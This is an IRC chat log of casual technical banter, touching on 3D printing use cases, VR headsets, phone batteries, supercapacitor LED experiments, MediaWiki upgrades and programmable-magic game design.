19:00:48 <kmc> I have a cool glow-in-the-dark 3D printed light fixture in my living room
19:00:52 <kmc> it may be a "useless trinket"
19:00:57 <lexande> mroman: one-shot-only guns?
19:01:09 <kmc> you can 3D print an AR-15 lower receiver
19:01:12 <mroman> one shot is the only one you need
19:01:26 <Zom-B> though i agree that most 3d printer owners print 'gadgets' that only exist for coolness
19:01:47 <kmc> anyway lexande this is like when you argued there is no reason for anybody to ever cook at home because you, personally, don't care about food quality or price or variety or convenience
19:01:50 <lexande> kmc: i mean, the technology is cool and there are definitely uses, i just don't think it's particulary "transformative"
19:02:12 <lexande> kmc: and i'm arguing a strong version of that because i'm contrarian
19:02:16 <kmc> I think home 3D printing is in the Altair 8800 stage right now
19:02:20 <kmc> also a useless trinket
19:02:51 <Zom-B> i dont own 3d printer and never really had any ideas about what to print myself
19:02:52 <lexande> (what, i do care about price, that is why i eat 99¢ pizza)
19:03:04 <Zom-B> but i once designed a replacement piece for a tabletop game where a piece was broken so a friend could print it
19:03:33 <lexande> that seems like a good use case
19:03:46 <lexande> and i am glad 3D printers are becoming cheaper and more available for that kind of use case
19:04:35 <Zom-B> then i designed a toothbrush holder, failed a bit with the lid tolerances, but he practically begged it to put the designs online because there were so many requests
19:05:10 <lexande> but to compare them to the altair 8800 is to suggest that in a few decades they will be completely pervasive and everyone will use one on a daily basis and be unable to imagine life without it with many people centering their whole lives around it
19:05:46 <lexande> and i can't imagine this, am i missing something?
19:06:01 <Zom-B> well some people imagine a world where you can print anything non-electronic that you now have to buy
19:06:06 <fizzie> I have a model train enthusiast friend who's printed some spare parts or some-such at the library; that seems like another rather natural use case.
19:06:09 <Zom-B> from travel games to flower vases
19:07:55 <Zom-B> 50 years ago when the only printed paper was offset-pressed, did they think that they needed to do that at home?
19:07:58 <mroman> 3D printing has a high medical-use potential
19:07:58 <fizzie> (Fun fact: a printout from the library 3D printer costs the same amount -- 0.40 eur -- as a copy of a sheet of paper.)
19:08:02 <fizzie> (Though it's this experimental "showcase" / "makerspace" thing-kind-of-a-place, and not, you know, a standard feature in all local libraries.)
19:09:53 <lexande> Zom-B: i mean, i struggle to think of non-electronic non-food things i buy. clothes i guess? is it suggested those would mostly be 3D printed?
19:10:58 <Zom-B> though i saw a 3d printed version irl, that looked like a torture tool
19:11:11 <fizzie> lexande: Guns, of course.
19:11:27 <lexande> i guess i own a comb, and some bowls and such, once-a-decade purchases
19:11:35 <kmc> 3D printing is also transformative in product design and prototyping
19:11:56 <Zom-B> i guess electronics or mechanics isn't any of your hobbies
19:12:11 <Zom-B> cos those people love 3d printed enclosures
19:12:11 <kmc> lexande: "i struggle to think of non-electronic non-food things i buy" <--- exhibit A that you are not most people
19:13:04 <fizzie> People who love 3D-printed enclosures aren't most people either, though.
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19:13:52 <Zom-B> i see on shapeways (which can print much higher quality than a makerbot, and in metal) they have lots of jewelry
19:14:50 <fizzie> Isn't it kind of curious that VR and 3D printing are both the (alleged) Next Big Thing, even though they're kind of opposites?
19:15:36 <fizzie> One takes you to the place where the 3D models live, and the other brings 3D models back to where you live, after all.
19:15:52 <Bicyclidine> both involve giant penis scupltures, though
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19:16:22 <fizzie> Both will be (are?) used for porn, too; there's that.
19:16:50 <kmc> fizzie: right, but I think there are a lot of separate use cases for 3D printing and they might add up to a lot of people (if not most), even if lexande falls outside all of them
19:17:20 <fizzie> mroman: Virtual reality.
19:17:36 <kmc> douglass_ has some textile-working equipment that she designed and I produced on a laser cutter
19:17:36 <mroman> I honestly don't see that coming :)
19:17:55 <fizzie> mroman: A lot of people do, though. (See: Sony, and the Facebook Oculus acquisition.)
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19:18:15 <mroman> I had the honor to look through an oculus
19:18:33 <Zom-B> i was recruited by an oculus-like google designer
19:18:45 <mroman> but they told me the new versions gonna be better :)
19:18:54 <Zom-B> damn finger memory
19:18:55 <fizzie> From what I've heard, it's a lot more immersive with the latest prototypes that do head-tracking.
19:18:56 <kmc> in akihabara I played some kind of game where you used an oculus and a leap motion controller to grope anime girls
19:19:03 <kmc> it's possible that I was playing it wrong
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19:19:46 <Zom-B> lol in japan i also played some 2d immersive game at the uni, with mechas and stuff
19:19:48 <mroman> that's certainly one use case of stuff
19:20:22 <Zom-B> mroman: that picelishness comes from low resolution phones
19:20:30 <Zom-B> try again with the new 2560x1440 phone
19:21:33 <Zom-B> kmc: where are you from?
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19:25:08 <HackEgo> olist 947: shachaf oerjan Sgeo FireFly boily
19:25:27 <Zom-B> http://www.cnet.com/news/oppo-debuts-worlds-first-5-5-inch-quad-hd-find-7/
19:25:54 <Bicyclidine> looking forward to playing all my old Virtual Boy games again
19:25:56 <fizzie> VR headsets aren't made out of phones.
19:26:14 <fizzie> Same kind of display panels, sure, but that doesn't make them phones.
19:26:45 <int-e> what is the freaking point of going about 200, perhaps 300 dpi?
19:27:03 <Zom-B> i thought you talked about oculus rift and stuff
19:27:54 <fizzie> int-e: Probably quite a lot for a display right in front of your eye, to be honest.
19:28:06 <int-e> I swear they are doing this so that the phone batteries deplete within 3 days even though the capacity increases all the time.
19:28:15 <fizzie> (For a phone, I don't have any idea.)
19:28:22 <lexande> int-e: 3 days? mine barely lasts one
19:28:24 <fizzie> (Except being able to quote bigger numbers.)
19:28:36 <Zom-B> my phone is 440dpi
19:29:04 <int-e> err, I meant s/about/above/ up there, odd typo.
19:29:23 <shachaf> oerjan: Oh, I forgot to `olist.
19:29:39 <int-e> is there a point to `olist?
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19:30:29 <int-e> lexande: I have a stupid nokia phone which lasts a week (batteries are getting old) ;)
19:31:43 <Zom-B> both my old and new phone (google mytouch and google nexus 5) last about 5 days of average use and wifi connected 100% of the time
19:31:58 <lexande> if only i could 3D print a new phone battery
19:32:15 <Zom-B> lipo batteries can be inkjet-printed
19:32:45 <lexande> my nexus 4 barely lasts a day, wifi off and brightness set to automatic
19:32:56 <Zom-B> but very low capcity, more useful for calculators in terms of power usage (like those that use these little solar panels)
19:33:24 <Zom-B> never tried nexus 4
19:33:35 <Zom-B> i lasted 6 years on a single phone
19:33:37 <lexande> i wish phones weren't so big
19:33:50 <lexande> i miss my nexus s, i can't reach the far corner of my nexus 4
19:34:17 <int-e> I wish phones were still phones
19:34:46 <lexande> nah that was always the worst feature of phones
19:37:27 <password2> and pring a new cover for your phone
19:39:24 <Zom-B> my current usage, first 2 hours screen on, then stand-by: https://www.dropbox.com/s/50dy62ztt6aq6c2/Screenshot_2014-03-31-21-36-18.png
19:40:52 <Zom-B> uhm not screen on, i was driving to work*
19:47:13 <password2> great , linux does not like to copy small files , 1hr for 7.8gig hdd to hdd
19:47:32 <Zom-B> small files are never funny
19:48:07 <Zom-B> it needs to copy all the user prililedges too and that is a slow operation for the kernel (it does authoring an stuff for each file)
19:49:05 <Zom-B> the only FS that like small files are non-journalled and have no permissions, like fat32
19:49:07 <password2> i should probably have ripped out some obfuscated one liner in terminal that both zips copy and extracts the data
19:49:25 <Zom-B> that would be even slower
19:50:14 <Zom-B> its faster to make a truecrypt container and keep small files there. just copy the container
19:50:34 <Zom-B> not as an intermediate step but permanently keep them there
19:50:54 <Zom-B> that is, if they are not needed all the time
19:50:55 <password2> doubt windows would play nice with em
19:53:00 <Zom-B> i found a 4 year old project of an esoteric functional language, but its unfinished, full of errors, and no documentation/commenting whatsoever
19:53:28 <Zom-B> how many mAh is that?
19:53:33 <password2> http://za.rs-online.com/web/p/electric-double-layer-capacitors/7690221/
19:55:18 <password2> bout 1080maH , if you assume V = 0.5*.7
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19:56:24 <Zom-B> found better formula: *0.2777, so 111mAh/V
19:56:45 <Zom-B> the more volts you put in it, the more MaH it becomes (obvious)
19:57:55 <Zom-B> 300mAh for 2.7V in half the size of an AA, not very high capacity
19:58:41 <password2> the newer graphene based ultra caps are approaching litium batteries
19:58:50 <Zom-B> better harvest some of those button-sized bios batteries from old laptops
19:59:39 <password2> well , if you use a button cell in parallel with this cap , it would be fun
20:00:10 <password2> you would be able to trigger large devices with a small cell
20:00:16 <Zom-B> so button can recharge cap and cap can provide high transient load?
20:00:47 <password2> mmm , i wonder how long a ram module can run from such a cap
20:00:59 <Zom-B> i recommend a resistor in between (or low-dropout constant current driver if you're feeliong hackery)
20:01:21 <password2> i recommend having a ultracap first
20:01:41 <Zom-B> i recommend collecting moneyz first
20:03:25 <password2> mmm , if you use a 10mA Led , you can power that led for entire night
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20:03:55 <password2> much longer if you use a joule thief
20:04:01 <Zom-B> ah found the doc of that functional esoland
20:04:22 <Zom-B> joule thief is suxors, tried it once
20:04:43 <Zom-B> tried another one i found on a dutch forum that works 10x better
20:04:45 <password2> their just low poer boost converters
20:04:50 <Zom-B> and no need to wind your own coil
20:05:15 <password2> old motherboards have lovly ferrite cores
20:06:04 <password2> i need to finish my bick converter
20:06:05 <Zom-B> i tried a led once on a fully charged 1F supercap, lasted like 5 minutes
20:06:17 <password2> so that i can start with revision 3
20:06:27 <Zom-B> no regulator, just parallel
20:06:52 <password2> i have 11mF cap array that lasts 2 minutes with an led
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20:07:05 <Zom-B> starts off with high load ofcourse, and as soon as voltage drops below 3.5V the led dims
20:07:47 <Zom-B> i could try it on my lasers
20:07:56 <Zom-B> they have a current driver by definition
20:08:06 <Zom-B> unless it's chinese dealextreme crap
20:08:34 <password2> i want to buy some laser modules for a FSO project
20:09:46 <Zom-B> http://pastebin.com/pcfLQmqr and it's called amorphicum, not without reason
20:10:12 <Zom-B> tomorrow i'm gonna read it in detail, now it's too late, imma go
20:11:05 <Zom-B> mind that this is a scrap document and not some final language definition
20:11:46 <Zom-B> my favotite line: "Code will be well understandable for the programmer but not for the uninitiated."
20:12:00 <password2> then i have to copy everything again
20:12:29 <Zom-B> i saw your BF^ the other day, the additions are useful
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20:15:03 <password2> i was considering releasing the code in library form
20:15:33 <password2> but I have quite few program projects running already
20:20:39 <Zom-B> made redirect http://esolangs.org/wiki/BF^ because i couldn't find it
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20:23:27 <elliott> fizzie: do you have a fancy mediawiki update workflow? :p
20:23:46 <fizzie> elliott: I made up one, it's not very fancy.
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20:24:35 <elliott> how much git does it involve??
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20:30:32 <fizzie> Well, it's got the extensions from cloned official gits, and modified configuration files (just LocalSettings.php) from a local git, but the MediaWiki files from a release tarball.
20:31:56 <fizzie> I did use a "git archive | tar" kind of thing to copy the extensions in their right places, which makes it very fancy.
20:31:59 <fizzie> Incidentally, major version 1.21 or something had moved the Vector extension to core, apparently.
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20:41:49 <elliott> I tried to have my own branch that I merged the wmf release branches into
20:41:58 <elliott> with LocalSettings.php and submodules for extensions
20:42:05 <elliott> (you have to update extensions with new versions, btw, at least major ones)
20:42:18 <elliott> -- but it turns out that if you have the wmf branch for 1.19 you can't just merge the 1.20 one in, say
20:42:27 <elliott> because it has stuff that's 1.19-specific in the branch, I guess
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20:48:50 <fizzie> Yes, I have in the Workflow Document a command for checking out a new RELn_nn branches of the extensions, to be used if a major version changes; otherwise it just pulls. AIUI, those are the ones suited for use with release tarballs. (I guess I could equally well have the MediaWiki files from git, too. But "w/e".)
20:50:19 <elliott> rip http://esolangs.org/wiki/User:Ehird/upgrading
20:50:55 <elliott> fizzie: the wmf branches get updated beyond just the releases
20:51:35 <elliott> at least, they did when I actually updated mediawiki :P
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21:05:01 <fizzie> That's the kind of feeling I got, but I couldn't be bothered to figure out what it all means.
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22:13:14 <Bicyclidine> http://journal.frontiersin.org/Journal/10.3389/fnhum.2014.00146/abstract l m a o
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22:33:17 <elliott> Bicyclidine: that reminds me of retropsychokinesis
22:37:05 <Sgeo> "With Shelfies (Shareable Selfies) you can set your own photo as a Gmail custom theme and share it with your friends so they can enjoy looking at you as much as you do."
22:37:51 <Sgeo> Gmail popped that message up at me
22:38:17 <myname> http://www.euirc.net/en/news_detail.php?newsid=197
22:39:07 <shachaf> you should use the top trending shelfies
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22:47:48 <Bicyclidine> http://www.neuroquantology.com/index.php/journal/article/view/591 this looks good
22:56:12 <zzo38> The Fairchild F8 bus is a but unusual, lacking any address lines, but having eight data lines and five control lines.
22:58:07 <zzo38> (Each device on the bus has to keep its own copy of the address.)
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23:21:57 <doesthiswork> someone started on a roguelike featuring programmable magic
23:22:51 <zzo38> doesthiswork: Also an idea I have been thinking about, but never implemented (or figured out how to implement).
23:23:53 <doesthiswork> but it doesn't go far enough until we have spells that write spells
23:25:24 <doesthiswork> zzo38 what would you want from a game with programmable magic?
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23:25:46 <zzo38> doesthiswork: Yes, that too I would expect, spells that write spells... perhaps some kind of design in Haskell?
23:29:28 <doesthiswork> The problem I always run into is that if the spell language is pleasent enough that we can get things done in it and flexible enough that it can do anything, players will just use it to set enimies hitpoints to 0
23:32:17 <doesthiswork> but perhaps if we make it so it can't effect things without haveing a reference to them we could make it so the spell would need both the unique name of the enimy and the unique name of their hitpoints to effect
23:39:33 <zzo38> Actually I did have some ideas relating to that: They wouldn't have such direct effects anyways.
23:45:23 <Phantom__Hoover> i remember thinking what i wanted from a programmable magic system was something where you're trying to write a control system for ~mystic energies~ rather than just, like, writing scripts for the universe to run
23:46:48 <doesthiswork> what would a control system for mystic energies look like?
23:51:06 <Phantom__Hoover> doesthiswork, well your main aim would be to avoid blowing your face off, i guess
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23:54:02 <doesthiswork> it would be cool if I could just define a small core and all the magical effects would be logical consiquences of it
23:55:19 <doesthiswork> have you ever played codex of alchemical engineering?
23:56:32 <doesthiswork> http://www.zachtronics.com/alchemy/alchemy.htm
23:57:32 <zzo38> Phantom__Hoover: That "mystic energies" idea is closer to the ideas I had, actually
23:59:15 <doesthiswork> wouls mystic energies have thier own wills and intentions?